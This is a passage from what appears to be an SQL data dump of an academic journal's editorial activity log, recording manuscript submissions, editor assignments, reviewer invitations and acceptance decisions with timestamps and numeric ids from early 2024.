Publisher',14563,'Publisher',972),(132774,'2024-02-15 12:07:26','Manuscript Submitted by Publisher',14564,'Publisher',972),(132775,'2024-02-15 12:11:28','Manuscript Submitted by Publisher',14565,'Publisher',972),(132776,'2024-02-15 12:14:08','Manuscript Submitted by Publisher',14566,'Publisher',972),(132777,'2024-02-15 12:17:42','Manuscript Submitted by Publisher',14567,'Publisher',972),(132778,'2024-02-15 12:21:02','Manuscript Submitted by Publisher',14568,'Publisher',972),(132779,'2024-02-15 12:23:50','Manuscript Submitted by Publisher',14569,'Publisher',972),(132780,'2024-02-15 14:14:16','Manuscript Submitted by Author using Submission form',14570,'Author',14602),(132781,'2024-02-16 10:08:12','Publisher has been Assigned Editor',14580,'Publisher',972),(132782,'2024-02-16 10:09:05','Publisher has been Assigned Editor',14579,'Publisher',972),(132783,'2024-02-16 10:09:28','Publisher has been Assigned Editor',14577,'Publisher',972),(132784,'2024-02-16 10:10:11','Publisher has been Assigned Editor',14576,'Publisher',972),(132785,'2024-02-16 10:10:36','Publisher has been Assigned Editor',14575,'Publisher',972),(132786,'2024-02-16 10:11:01','Publisher has been Assigned Editor',14574,'Publisher',972),(132787,'2024-02-16 10:11:55','Publisher has been Assigned Editor',14572,'Publisher',972),(132788,'2024-02-16 10:12:25','Publisher has been Assigned Editor',14571,'Publisher',972),(132789,'2024-02-16 13:59:06','Publisher has been Assigned Editor',14570,'Publisher',645),(132790,'2024-02-19 10:30:35','Publisher has Unassign Editor',14555,'Publisher',48),(132791,'2024-02-20 14:54:53','Publisher has been Accepted Articles  article',14354,'Publisher',376),(132792,'2024-02-20 18:23:43','Manuscript Updated',14546,'Publisher',75),(132793,'2024-02-20 18:24:03','Publisher has been Accepted Articles  article',14546,'Publisher',75),(132794,'2024-02-20 18:24:28','Manuscript Updated',14546,'Publisher',75),(132795,'2024-02-21 10:04:11','Editor has Accepted to review Manuscript',14579,'Editor',1315),(132796,'2024-02-21 10:08:02','Editor has Invited Reviewer',14579,'Editor',1315),(132797,'2024-02-21 10:08:08','Editor has Invited Reviewer',14579,'Editor',1315),(132798,'2024-02-21 10:08:13','Editor has Invited Reviewer',14579,'Editor',1315),(132799,'2024-02-24 11:25:47','Manuscript Submitted by Publisher',14581,'Publisher',48),(132800,'2024-02-24 11:27:15','Manuscript Submitted by Publisher',14582,'Publisher',48),(132801,'2024-02-24 11:29:17','Manuscript Submitted by Publisher',14583,'Publisher',48),(132802,'2024-02-24 11:31:14','Manuscript Submitted by Publisher',14584,'Publisher',48),(132803,'2024-02-24 11:39:50','Manuscript Updated',14364,'',1212),(132804,'2024-02-24 11:40:15','Publisher has been Accepted Articles  article',14364,'',1212),(132805,'2024-02-24 11:40:37','Manuscript Updated',14362,'',1212),(132806,'2024-02-24 11:40:52','Publisher has been Accepted Articles  article',14362,'',1212),(132807,'2024-02-24 11:41:40','Manuscript Updated',14361,'',1212),(132808,'2024-02-24 11:42:02','Publisher has been Accepted Articles  article',14361,'',1212),(132809,'2024-02-24 11:42:05','Publisher has been Accepted Articles  article',14361,'',1212),(132810,'2024-02-24 11:42:07','Publisher has been Accepted Articles  article',14361,'',1212),(132811,'2024-02-24 11:42:10','Publisher has been Accepted Articles  article',14361,'',1212),(132812,'2024-02-24 11:42:13','Publisher has been Accepted Articles  article',14361,'',1212),(132813,'2024-02-24 11:42:15','Publisher has been Accepted Articles  article',14361,'',1212),(132814,'2024-02-24 11:42:18','Publisher has been Accepted Articles  article',14361,'',1212),(132815,'2024-02-24 11:42:20','Publisher has been Accepted Articles  article',14361,'',1212),(132816,'2024-02-24 11:42:23','Publisher has been Accepted Articles  article',14361,'',1212),(132817,'2024-02-24 11:42:25','Publisher has been Accepted Articles  article',14361,'',1212),(132818,'2024-02-24 11:42:28','Publisher has been Accepted Articles  article',14361,'',1212),(132819,'2024-02-24 11:43:00','Manuscript Updated',14363,'',1212),(132820,'2024-02-24 11:43:01','Manuscript Updated',14363,'',1212),(132821,'2024-02-24 11:43:03','Manuscript Updated',14363,'',1212),(132822,'2024-02-24 11:43:04','Manuscript Updated',14363,'',1212),(132823,'2024-02-24 11:43:06','Manuscript Updated',14363,'',1212),(132824,'2024-02-24 11:43:20','Publisher has been Accepted Articles  article',14363,'',1212),(132825,'2024-02-24 11:43:23','Publisher has been Accepted Articles  article',14363,'',1212),(132826,'2024-02-24 11:43:42','Manuscript Updated',14365,'',1212),(132827,'2024-02-24 11:43:56','Publisher has been Accepted Articles  article',14365,'',1212),(132828,'2024-02-24 11:43:58','Publisher has been Accepted Articles  article',14365,'',1212),(132829,'2024-02-24 11:44:00','Publisher has been Accepted Articles  article',14365,'',1212),(132830,'2024-02-24 11:44:17','Manuscript Updated',14379,'',1212),(132831,'2024-02-24 11:44:18','Manuscript Updated',14379,'',1212),(132832,'2024-02-24 11:44:33','Publisher has been Accepted Articles  article',14379,'',1212),(132833,'2024-02-24 11:44:35','Publisher has been Accepted Articles  article',14379,'',1212),(132834,'2024-02-24 11:44:37','Publisher has been Accepted Articles  article',14379,'',1212),(132835,'2024-02-24 11:44:52','Manuscript Updated',14380,'',1212),(132836,'2024-02-24 11:44:53','Manuscript Updated',14380,'',1212),(132837,'2024-02-24 11:45:07','Publisher has been Accepted Articles  article',14380,'',1212),(132838,'2024-02-24 11:45:09','Publisher has been Accepted Articles  article',14380,'',1212),(132839,'2024-02-24 11:45:11','Publisher has been Accepted Articles  article',14380,'',1212),(132840,'2024-02-26 09:50:55','Editor has been Editor Decision Accepted article',14558,'Editor',1069),(132841,'2024-02-26 09:51:44','Editor has been Editor Decision Accepted article',14548,'Editor',1069),(132842,'2024-02-26 09:54:04','Editor has been Editor Decision Accepted article',14557,'Editor',1068),(132843,'2024-02-26 09:54:31','Editor has been Editor Decision Accepted article',14551,'Editor',1068),(132844,'2024-02-26 09:56:16','Editor has been Editor Decision Accepted article',14556,'Editor',1067),(132845,'2024-02-26 09:57:00','Editor has been Editor Decision Accepted article',14550,'Editor',1067),(132846,'2024-02-26 09:59:44','Editor has been Editor Decision Accepted article',14554,'Editor',1791),(132847,'2024-02-26 10:02:32','Editor has been Editor Decision Accepted article',14549,'Editor',1791),(132848,'2024-02-26 10:19:17','Editor has been Editor Decision Accepted article',14553,'Editor',1070),(132849,'2024-02-26 10:21:28','Editor has been Editor Decision Accepted article',14552,'Editor',1070),(132850,'2024-02-27 12:22:12','Editor has been Editor Decision Accepted article',14398,'Editor',1784),(132851,'2024-02-27 12:24:17','Editor has been 2 article',14398,'Publisher',972),(132852,'2024-02-27 14:10:33','Editor has Accepted to review Manuscript',14331,'Editor',1779),(132853,'2024-02-27 14:11:10','Editor has been Editor Decision Accepted article',14331,'Editor',1779),(132854,'2024-02-27 14:13:01','Editor has Accepted to review Manuscript',14481,'Editor',1779),(132855,'2024-02-27 14:13:25','Editor has been Editor Decision Accepted article',14481,'Editor',1779),(132856,'2024-02-27 14:16:50','Publisher has been Accepted Articles  article',14331,'Publisher',988),(132857,'2024-02-27 14:16:54','Publisher has been Accepted Articles  article',14331,'Publisher',988),(132858,'2024-02-27 14:18:21','Editor has Accepted to review Manuscript',14469,'Editor',1410),(132859,'2024-02-27 14:18:45','Editor has been Editor Decision Accepted article',14469,'Editor',1410),(132860,'2024-02-27 14:20:06','Publisher has been Accepted Articles  article',14469,'Publisher',988),(132861,'2024-02-27 14:20:08','Publisher has been Accepted Articles  article',14469,'Publisher',988),(132862,'2024-02-27 14:21:24','Editor has Accepted to review Manuscript',14470,'Editor',1796),(132863,'2024-02-27 14:21:29','Editor has Accepted to review Manuscript',14472,'Editor',1796),(132864,'2024-02-27 14:21:34','Editor has Accepted to review Manuscript',14475,'Editor',1796),(132865,'2024-02-27 14:21:55','Editor has been Editor Decision Accepted article',14470,'Editor',1796),(132866,'2024-02-27 14:22:51','Editor has been Editor Decision Accepted article',14472,'Editor',1796),(132867,'2024-02-27 14:23:33','Editor has been Editor Decision Accepted article',14475,'Editor',1796),(132868,'2024-02-27 14:25:36','Publisher has been Accepted Articles  article',14470,'Publisher',988),(132869,'2024-02-27 14:26:35','Publisher has been Accepted Articles  article',14472,'Publisher',988),(132870,'2024-02-27 14:27:24','Publisher has been Accepted Articles  article',14475,'Publisher',988),(132871,'2024-02-27 14:30:09','Editor has Accepted to review Manuscript',14476,'Editor',1797),(132872,'2024-02-27 14:30:14','Editor has Accepted to review Manuscript',14479,'Editor',1797),(132873,'2024-02-27 14:30:19','Editor has Accepted to review Manuscript',14480,'Editor',1797),(132874,'2024-02-27 14:30:41','Editor has been Editor Decision Accepted article',14476,'Editor',1797),(132875,'2024-02-27 14:31:17','Editor has been Editor Decision Accepted article',14479,'Editor',1797),(132876,'2024-02-27 14:31:46','Editor has been Editor Decision Accepted article',14480,'Editor',1797),(132877,'2024-02-27 14:32:54','Publisher has been Accepted Articles  article',14476,'Publisher',988),(132878,'2024-02-27 14:33:37','Publisher has been Accepted Articles  article',14479,'Publisher',988),(132879,'2024-02-27 14:34:17','Publisher has been Accepted Articles  article',14480,'Publisher',988),(132880,'2024-02-27 14:35:23','Publisher has been Accepted Articles  article',14481,'Publisher',988),(132881,'2024-02-27 14:38:20','Editor has Accepted to review Manuscript',14482,'Editor',1783),(132882,'2024-02-27 14:38:32','Editor has Accepted to review Manuscript',14482,'Editor',1783),(132883,'2024-02-27 14:39:23','Editor has been Editor Decision Accepted article',14482,'Editor',1783),(132884,'2024-02-27 14:46:11','Publisher has been Accepted Articles  article',14482,'Publisher',988),(132885,'2024-02-27 15:35:31','Editor has been Editor Decision Accepted article',14579,'Editor',1315),(132886,'2024-02-28 13:04:31','Publisher has been Accepted Articles  article',14558,'Publisher',319),(132887,'2024-02-28 13:12:02','Publisher has been Accepted Articles  article',14557,'Publisher',319),(132888,'2024-02-28 13:56:54','Publisher has been Accepted Articles  article',14556,'Publisher',319),(132889,'2024-02-28 14:07:56','Publisher has been Accepted Articles  article',14554,'Publisher',319),(132890,'2024-02-28 14:17:35','Publisher has been Accepted Articles  article',14553,'Publisher',319),(132891,'2024-02-28 14:26:58','Publisher has been Accepted Articles  article',14552,'Publisher',319),(132892,'2024-02-28 14:36:49','Publisher has been Accepted Articles  article',14551,'Publisher',319),(132893,'2024-02-28 14:45:28','Publisher has been Accepted Articles  article',14550,'Publisher',319),(132894,'2024-02-28 14:54:51','Publisher has been Accepted Articles  article',14549,'Publisher',319),(132895,'2024-02-28 15:00:21','Publisher has been Accepted Articles  article',14548,'Publisher',319),(132896,'2024-02-29 16:58:57','Manuscript Submitted by Publisher',14585,'Publisher',274),(132897,'2024-02-29 17:02:43','Manuscript Submitted by Publisher',14586,'Publisher',274),(132898,'2024-02-29 17:08:28','Manuscript Submitted by Publisher',14587,'Publisher',274),(132899,'2024-02-29 17:12:20','Manuscript Submitted by Publisher',14588,'Publisher',274),(132900,'2024-02-29 17:18:12','Manuscript Submitted by Publisher',14589,'Publisher',274),(132901,'2024-02-29 17:43:14','Manuscript Submitted by Publisher',14590,'Publisher',274),(132902,'2024-02-29 18:13:43','Manuscript Submitted by Publisher',14591,'Publisher',274),(132903,'2024-02-29 18:18:50','Manuscript Submitted by Publisher',14592,'Publisher',274),(132904,'2024-02-29 18:23:38','Manuscript Submitted by Publisher',14593,'Publisher',274),(132905,'2024-02-29 18:27:48','Manuscript Submitted by Publisher',14594,'Publisher',274),(132906,'2024-03-01 11:14:25','Manuscript Submitted by Publisher',14595,'Publisher',248),(132907,'2024-03-01 11:18:49','Manuscript Submitted by Publisher',14596,'Publisher',248),(132908,'2024-03-01 11:22:21','Manuscript Submitted by Publisher',14597,'Publisher',248),(132909,'2024-03-01 11:28:59','Manuscript Submitted by Publisher',14598,'Publisher',248),(132910,'2024-03-01 11:31:10','Manuscript Submitted by Publisher',14599,'Publisher',248),(132911,'2024-03-01 11:33:19','Manuscript Submitted by Publisher',14600,'Publisher',248),(132912,'2024-03-01 11:35:36','Manuscript Submitted by Publisher',14601,'Publisher',248),(132913,'2024-03-01 16:42:59','Manuscript Submitted by Publisher',14602,'Publisher',988),(132914,'2024-03-01 16:44:03','Manuscript Submitted by Publisher',14603,'Publisher',988),(132915,'2024-03-01 16:45:04','Manuscript Submitted by Publisher',14604,'Publisher',988),(132916,'2024-03-01 16:46:17','Manuscript Submitted by Publisher',14605,'Publisher',988),(132917,'2024-03-01 16:58:41','Manuscript Submitted by Publisher',14606,'Publisher',988),(132918,'2024-03-01 17:01:36','Manuscript Submitted by Publisher',14607,'Publisher',988),(132919,'2024-03-01 17:03:59','Manuscript Submitted by Publisher',14608,'Publisher',988),(132920,'2024-03-01 17:05:50','Manuscript Submitted by Publisher',14609,'Publisher',988),(132921,'2024-03-01 17:06:52','Manuscript Submitted by Publisher',14610,'Publisher',988),(132922,'2024-03-04 12:55:19','Manuscript Submitted by Publisher',14611,'Publisher',988),(132923,'2024-03-04 13:04:23','Manuscript Submitted by Publisher',14612,'Publisher',988),(132924,'2024-03-04 13:05:38','Manuscript Submitted by Publisher',14613,'Publisher',988),(132925,'2024-03-04 15:59:56','Manuscript Submitted by Publisher',14614,'Publisher',274),(132926,'2024-03-04 16:51:11','Author sent Email',14496,'Author',14542),(132927,'2024-03-04 16:55:48','Manuscript Updated',14529,'',1045),(132928,'2024-03-04 16:57:04','Publisher has been Accepted Articles  article',14529,'',1045),(132929,'2024-03-05 10:37:10','Publisher has been Assigned Editor',14600,'Publisher',248),(132930,'2024-03-05 10:37:27','Publisher has been Assigned Editor',14599,'Publisher',248),(132931,'2024-03-05 10:37:46','Publisher has been Assigned Editor',14597,'Publisher',248),(132932,'2024-03-05 10:38:06','Publisher has been Assigned Editor',14595,'Publisher',248),(132933,'2024-03-05 11:23:09','Manuscript Submitted by Publisher',14615,'Publisher',376),(132934,'2024-03-05 11:24:46','Manuscript Submitted by Publisher',14616,'Publisher',248),(132935,'2024-03-05 11:25:38','Manuscript Submitted by Publisher',14617,'Publisher',376),(132936,'2024-03-05 11:26:06','Manuscript Submitted by Publisher',14618,'Publisher',248),(132937,'2024-03-05 11:33:42','Manuscript Submitted by Publisher',14619,'Publisher',376),(132938,'2024-03-05 11:35:09','Manuscript Submitted by Publisher',14620,'Publisher',376),(132939,'2024-03-05 11:43:57','Manuscript Submitted by Publisher',14621,'Publisher',248),(132940,'2024-03-05 11:48:27','Publisher has been Assigned Editor',14602,'Publisher',988),(132941,'2024-03-05 11:48:53','Publisher has been Assigned Editor',14603,'Publisher',988),(132942,'2024-03-05 11:49:21','Publisher has been Assigned Editor',14604,'Publisher',988),(132943,'2024-03-05 11:49:57','Publisher has been Assigned Editor',14605,'Publisher',988),(132944,'2024-03-05 11:50:22','Publisher has been Assigned Editor',14609,'Publisher',988),(132945,'2024-03-05 11:51:06','Publisher has been Assigned Editor',14610,'Publisher',988),(132946,'2024-03-05 11:52:00','Manuscript Submitted by Publisher',14622,'Publisher',376),(132947,'2024-03-05 11:53:38','Manuscript Submitted by Publisher',14623,'Publisher',376),(132948,'2024-03-05 11:55:26','Manuscript Submitted by Publisher',14624,'Publisher',376),(132949,'2024-03-05 11:57:58','Manuscript Submitted by Publisher',14625,'Publisher',376),(132950,'2024-03-05 11:59:31','Manuscript Submitted by Publisher',14626,'Publisher',376),(132951,'2024-03-05 13:36:33','Reviewer has submitted comments',14496,'Reviewer',8784),(132952,'2024-03-05 15:37:24','Publisher has been Assigned Editor',14584,'Publisher',48),(132953,'2024-03-05 15:38:17','Publisher has been Assigned Editor',14583,'Publisher',48),(132954,'2024-03-05 15:38:36','Publisher has been Assigned Editor',14582,'Publisher',48),(132955,'2024-03-05 15:39:16','Publisher has been Assigned Editor',14581,'Publisher',48),(132956,'2024-03-06 16:40:55','Manuscript Submitted by Publisher',14645,'Publisher',673),(132957,'2024-03-06 16:43:45','Manuscript Submitted by Publisher',14646,'Publisher',673),(132958,'2024-03-06 16:46:09','Manuscript Submitted by Publisher',14647,'Publisher',673),(132959,'2024-03-06 16:49:08','Manuscript Submitted by Publisher',14648,'Publisher',673),(132960,'2024-03-06 16:52:23','Manuscript Submitted by Publisher',14649,'Publisher',673),(132961,'2024-03-06 16:53:11','Publisher has been Assigned Editor',14634,'Publisher',84),(132962,'2024-03-06 16:53:41','Manuscript Submitted by Publisher',14650,'Publisher',673),(132963,'2024-03-06 16:53:54','Publisher has been Assigned Editor',14633,'Publisher',84),(132964,'2024-03-06 16:55:04','Publisher has been Assigned Editor',14632,'Publisher',84),(132965,'2024-03-06 16:55:29','Publisher has been Assigned Editor',14631,'Publisher',84),(132966,'2024-03-06 16:55:47','Publisher has been Assigned Editor',14630,'Publisher',84),(132967,'2024-03-06 16:56:05','Manuscript Submitted by Publisher',14651,'Publisher',673),(132968,'2024-03-06 16:56:28','Publisher has been Assigned Editor',14629,'Publisher',84),(132969,'2024-03-06 16:56:46','Publisher has been Assigned Editor',14628,'Publisher',84),(132970,'2024-03-06 16:57:13','Publisher has been Assigned Editor',14627,'Publisher',84),(132971,'2024-03-06 16:57:46','Editor has Accepted to review Manuscript',14627,'Editor',222),(132972,'2024-03-06 16:58:01','Manuscript Submitted by Publisher',14652,'Publisher',673),(132973,'2024-03-06 16:58:06','Editor has been Editor Decision Accepted article',14627,'Editor',222),(132974,'2024-03-06 16:58:53','Editor has Accepted to review Manuscript',14628,'Editor',222),(132975,'2024-03-06 16:59:03','Editor has been Editor Decision Accepted article',14628,'Editor',222),(132976,'2024-03-06 16:59:53','Manuscript Submitted by Publisher',14653,'Publisher',673),(132977,'2024-03-06 16:59:58','Editor has Accepted to review Manuscript',14629,'Editor',222),(132978,'2024-03-06 17:00:06','Editor has been Editor Decision Accepted article',14629,'Editor',222),(132979,'2024-03-06 17:00:33','Editor has Accepted to review Manuscript',14630,'Editor',222),(132980,'2024-03-06 17:00:48','Editor has been Editor Decision Accepted article',14630,'Editor',222),(132981,'2024-03-06 17:01:45','Editor has Accepted to review Manuscript',14631,'Editor',222),(132982,'2024-03-06 17:01:58','Editor has been Editor Decision Accepted article',14631,'Editor',222),(132983,'2024-03-06 17:02:11','Editor has Accepted to review Manuscript',14632,'Editor',222),(132984,'2024-03-06 17:02:22','Editor has been Editor Decision Accepted article',14632,'Editor',222),(132985,'2024-03-06 17:02:35','Manuscript Submitted by Publisher',14654,'Publisher',673),(132986,'2024-03-06 17:02:57','Editor has Accepted to review Manuscript',14633,'Editor',222),(132987,'2024-03-06 17:03:06','Editor has been Editor Decision Accepted article',14633,'Editor',222),(132988,'2024-03-06 17:03:45','Editor has Accepted to review Manuscript',14634,'Editor',222),(132989,'2024-03-06 17:03:52','Editor has been Editor Decision Accepted article',14634,'Editor',222),(132990,'2024-03-06 17:05:44','Editor has Accepted to review Manuscript',14454,'Editor',221),(132991,'2024-03-06 17:05:55','Editor has been Editor Decision Accepted article',14454,'Editor',221),(132992,'2024-03-06 17:06:03','Editor has Accepted to review Manuscript',14457,'Editor',221),(132993,'2024-03-06 17:06:24','Editor has been Editor Decision Accepted article',14457,'Editor',221),(132994,'2024-03-06 17:23:29','Publisher has been Assigned Editor',14644,'Publisher',994),(132995,'2024-03-06 17:24:11','Publisher has been Assigned Editor',14643,'Publisher',994),(132996,'2024-03-06 17:24:38','Publisher has been Assigned Editor',14642,'Publisher',994),(132997,'2024-03-06 17:24:51','Publisher has been Assigned Editor',14621,'Publisher',248),(132998,'2024-03-06 17:24:56','Publisher has been Assigned Editor',14641,'Publisher',994),(132999,'2024-03-06 17:25:10','Publisher has been Assigned Editor',14618,'Publisher',248),(133000,'2024-03-06 17:25:20','Publisher has been Assigned Editor',14640,'Publisher',994),(133001,'2024-03-06 17:25:32','Publisher has been Assigned Editor',14616,'Publisher',248),(133002,'2024-03-06 17:25:37','Publisher has been Assigned Editor',14639,'Publisher',994),(133003,'2024-03-06 17:25:56','Publisher has been Assigned Editor',14638,'Publisher',994),(133004,'2024-03-06 17:27:21','Publisher has been Assigned Editor',14637,'Publisher',994),(133005,'2024-03-06 17:27:40','Publisher has been Assigned Editor',14636,'Publisher',994),(133006,'2024-03-06 17:28:25','Publisher has been Assigned Editor',14635,'Publisher',994),(133007,'2024-03-06 17:29:51','Editor has Accepted to review Manuscript',14635,'Editor',1790),(133008,'2024-03-06 17:30:10','Editor has been Editor Decision Accepted article',14635,'Editor',1790),(133009,'2024-03-06 17:30:42','Editor has Accepted to review Manuscript',14636,'Editor',1790),(133010,'2024-03-06 17:31:22','Editor has been Editor Decision Accepted article',14636,'Editor',1790),(133011,'2024-03-06 17:31:35','Editor has Accepted to review Manuscript',14637,'Editor',1790),(133012,'2024-03-06 17:31:51','Editor has been Editor Decision Accepted article',14637,'Editor',1790),(133013,'2024-03-06 17:32:07','Editor has Accepted to review Manuscript',14638,'Editor',1790),(133014,'2024-03-06 17:32:21','Editor has been Editor Decision Accepted article',14638,'Editor',1790),(133015,'2024-03-06 17:32:42','Editor has Accepted to review Manuscript',14639,'Editor',1790),(133016,'2024-03-06 17:32:56','Editor has been Editor Decision Accepted article',14639,'Editor',1790),(133017,'2024-03-06 17:33:06','Editor has Accepted to review Manuscript',14640,'Editor',1790),(133018,'2024-03-06 17:33:16','Editor has been Editor Decision Accepted article',14640,'Editor',1790),(133019,'2024-03-06 17:33:31','Editor has Accepted to review Manuscript',14641,'Editor',1790),(133020,'2024-03-06 17:33:40','Editor has been Editor Decision Accepted article',14641,'Editor',1790),(133021,'2024-03-06 17:33:50','Editor has Accepted to review Manuscript',14642,'Editor',1790),(133022,'2024-03-06 17:34:00','Editor has been Editor Decision Accepted article',14642,'Editor',1790),(133023,'2024-03-06 17:34:12','Editor has Accepted to review Manuscript',14643,'Editor',1790),(133024,'2024-03-06 17:34:21','Editor has been Editor Decision Accepted article',14643,'Editor',1790),(133025,'2024-03-06 17:34:34','Editor has Accepted to review Manuscript',14644,'Editor',1790),(133026,'2024-03-06 17:34:44','Editor has been Editor Decision Accepted article',14644,'Editor',1790),(133027,'2024-03-07 13:15:22','Publisher has been Assigned Editor',14654,'Publisher',673),(133028,'2024-03-07 13:16:32','Publisher has been Assigned Editor',14653,'Publisher',673),(133029,'2024-03-07 13:16:47','Publisher has been Assigned Editor',14652,'Publisher',673),(133030,'2024-03-07 13:17:09','Publisher has been Assigned Editor',14651,'Publisher',673),(133031,'2024-03-07 13:17:32','Publisher has been Assigned Editor',14650,'Publisher',673),(133032,'2024-03-07 13:17:44','Publisher has been Assigned Editor',14649,'Publisher',673),(133033,'2024-03-07 13:17:57','Publisher has been Assigned Editor',14647,'Publisher',673),(133034,'2024-03-07 13:18:11','Publisher has been Assigned Editor',14648,'Publisher',673),(133035,'2024-03-07 13:18:25','Publisher has been Assigned Editor',14646,'Publisher',673),(133036,'2024-03-07 13:18:41','Publisher has been Assigned Editor',14645,'Publisher',673),(133037,'2024-03-07 13:20:32','Publisher has been Assigned Editor',14626,'Publisher',376),(133038,'2024-03-07 13:21:00','Publisher has been Assigned Editor',14625,'Publisher',376),(133039,'2024-03-07 13:21:28','Publisher has been Assigned Editor',14624,'Publisher',376),(133040,'2024-03-07 13:21:46','Publisher has been Assigned Editor',14623,'Publisher',376),(133041,'2024-03-07 13:22:27','Publisher has been Assigned Editor',14622,'Publisher',376),(133042,'2024-03-07 13:23:43','Publisher has been Assigned Editor',14620,'Publisher',376),(133043,'2024-03-07 13:24:09','Publisher has been Assigned Editor',14619,'Publisher',376),(133044,'2024-03-07 13:24:26','Publisher has been Assigned Editor',14615,'Publisher',376),(133045,'2024-03-07 13:24:51','Publisher has been Assigned Editor',14617,'Publisher',376),(133046,'2024-03-07 18:37:11','Manuscript Submitted by Author using Submission form',14655,'Author',14670),(133047,'2024-03-08 10:34:02','Manuscript Submitted by Publisher',14656,'Publisher',48),(133048,'2024-03-08 12:04:09','Publisher has been Assigned Editor',14656,'Publisher',48),(133049,'2024-03-12 09:59:45','Publisher has been Assigned Editor',14585,'Publisher',274),(133050,'2024-03-12 10:00:26','Publisher has been Assigned Editor',14594,'Publisher',274),(133051,'2024-03-12 10:00:52','Publisher has been Assigned Editor',14586,'Publisher',274),(133052,'2024-03-12 10:01:55','Publisher has been Assigned Editor',14593,'Publisher',274),(133053,'2024-03-12 10:02:10','Publisher has been Assigned Editor',14592,'Publisher',274),(133054,'2024-03-12 10:02:27','Publisher has been Assigned Editor',14591,'Publisher',274),(133055,'2024-03-12 10:02:43','Publisher has been Assigned Editor',14590,'Publisher',274),(133056,'2024-03-12 10:03:04','Publisher has been Assigned Editor',14589,'Publisher',274),(133057,'2024-03-12 10:03:21','Publisher has been Assigned Editor',14588,'Publisher',274),(133058,'2024-03-12 10:03:51','Publisher has been Assigned Editor',14587,'Publisher',274),(133059,'2024-03-12 11:51:35','Publisher has been Assigned Editor',14655,'Publisher',48),(133060,'2024-03-12 12:10:22','Publisher has Invited Reviewer',14656,'Publisher',48),(133061,'2024-03-12 12:10:27','Publisher has Invited Reviewer',14656,'Publisher',48),(133062,'2024-03-12 12:10:32','Publisher has Invited Reviewer',14656,'Publisher',48),(133063,'2024-03-12 12:10:37','Publisher has Invited Reviewer',14656,'Publisher',48),(133064,'2024-03-12 12:10:42','Publisher has Invited Reviewer',14656,'Publisher',48),(133065,'2024-03-12 12:10:47','Publisher has Invited Reviewer',14656,'Publisher',48),(133066,'2024-03-12 12:10:52','Publisher has Invited Reviewer',14656,'Publisher',48),(133067,'2024-03-12 12:10:57','Publisher has Invited Reviewer',14656,'Publisher',48),(133068,'2024-03-12 12:11:02','Publisher has Invited Reviewer',14656,'Publisher',48),(133069,'2024-03-12 12:11:07','Publisher has Invited Reviewer',14656,'Publisher',48),(133070,'2024-03-12 12:11:12','Publisher has Invited Reviewer',14656,'Publisher',48),(133071,'2024-03-12 12:14:34','Reviewer has submitted comments',14656,'Reviewer',10975),(133072,'2024-03-12 12:15:20','Editor has Accepted to review Manuscript',14656,'Editor',194),(133073,'2024-03-12 12:16:06','Editor has been Editor Decision Accepted article',14656,'Editor',194),(133074,'2024-03-13 10:14:58','Manuscript Submitted by Publisher',14657,'',1050),(133075,'2024-03-13 13:18:16','Publisher has been Accepted Articles  article',14337,'',1279),(133076,'2024-03-13 13:27:40','Manuscript Submitted by Publisher',14658,'Publisher',48),(133077,'2024-03-13 13:47:21','Publisher has been Assigned Editor',14613,'Publisher',988),(133078,'2024-03-13 13:48:19','Publisher has been Assigned Editor',14612,'Publisher',988),(133079,'2024-03-13 13:50:46','Publisher has been Assigned Editor',14611,'Publisher',988),(133080,'2024-03-13 14:07:45','Publisher has been Assigned Editor',14657,'',1050),(133081,'2024-03-14 13:39:09','Manuscript Submitted by Publisher',14659,'Publisher',972),(133082,'2024-03-14 13:40:26','Manuscript Submitted by Publisher',14660,'Publisher',972),(133083,'2024-03-14 13:41:50','Manuscript Submitted by Publisher',14661,'Publisher',972),(133084,'2024-03-14 13:49:52','Manuscript Submitted by Publisher',14662,'Publisher',972),(133085,'2024-03-14 13:51:09','Manuscript Submitted by Publisher',14663,'Publisher',972),(133086,'2024-03-14 14:02:15','Manuscript Submitted by Publisher',14664,'Publisher',972),(133087,'2024-03-14 14:03:43','Manuscript Submitted by Publisher',14665,'Publisher',972),(133088,'2024-03-14 14:09:53','Manuscript Submitted by Publisher',14666,'Publisher',972),(133089,'2024-03-14 14:11:28','Manuscript Submitted by Publisher',14667,'Publisher',972),(133090,'2024-03-14 14:14:16','Manuscript Submitted by Publisher',14668,'Publisher',972),(133091,'2024-03-14 14:59:48','Manuscript Updated',14540,'Publisher',48),(133092,'2024-03-14 15:00:08','Publisher has been Accepted Articles  article',14540,'Publisher',48),(133093,'2024-03-14 15:00:21','Manuscript Updated',14540,'Publisher',48),(133094,'2024-03-14 15:00:59','Manuscript Updated',14541,'Publisher',48),(133095,'2024-03-14 15:01:14','Publisher has been Accepted Articles  article',14541,'Publisher',48),(133096,'2024-03-14 15:02:26','Manuscript Updated',14542,'Publisher',48),(133097,'2024-03-14 15:02:42','Publisher has been Accepted Articles  article',14542,'Publisher',48),(133098,'2024-03-14 15:03:04','Manuscript Updated',14542,'Publisher',48),(133099,'2024-03-14 15:03:16','Manuscript Updated',14543,'Publisher',48),(133100,'2024-03-14 15:03:31','Publisher has been Accepted Articles  article',14543,'Publisher',48),(133101,'2024-03-14 15:03:56','Manuscript Updated',14543,'Publisher',48),(133102,'2024-03-14 15:04:16','Manuscript Updated',14544,'Publisher',48),(133103,'2024-03-14 15:04:28','Publisher has been Accepted Articles  article',14544,'Publisher',48),(133104,'2024-03-14 15:04:46','Manuscript Updated',14544,'Publisher',48),(133105,'2024-03-14 15:05:12','Manuscript Updated',14581,'Publisher',48),(133106,'2024-03-14 15:05:30','Publisher has been Accepted Articles  article',14581,'Publisher',48),(133107,'2024-03-14 15:05:37','Manuscript Updated',14581,'Publisher',48),(133108,'2024-03-14 15:06:04','Manuscript Updated',14582,'Publisher',48),(133109,'2024-03-14 15:06:22','Publisher has been Accepted Articles  article',14582,'Publisher',48),(133110,'2024-03-14 15:06:25','Publisher has been Accepted Articles  article',14582,'Publisher',48),(133111,'2024-03-14 15:06:35','Manuscript Updated',14582,'Publisher',48),(133112,'2024-03-14 15:07:04','Manuscript Updated',14583,'Publisher',48),(133113,'2024-03-14 15:07:17','Publisher has been Accepted Articles  article',14583,'Publisher',48),(133114,'2024-03-14 15:07:31','Manuscript Updated',14583,'Publisher',48),(133115,'2024-03-14 15:09:00','Manuscript Updated',14555,'Publisher',48),(133116,'2024-03-14 15:09:16','Publisher has been Accepted Articles  article',14555,'Publisher',48),(133117,'2024-03-14 15:09:20','Publisher has been Accepted Articles  article',14555,'Publisher',48),(133118,'2024-03-14 15:09:31','Manuscript Updated',14555,'Publisher',48),(133119,'2024-03-14 15:10:13','Manuscript Updated',14545,'Publisher',48),(133120,'2024-03-14 15:10:28','Publisher has been Accepted Articles  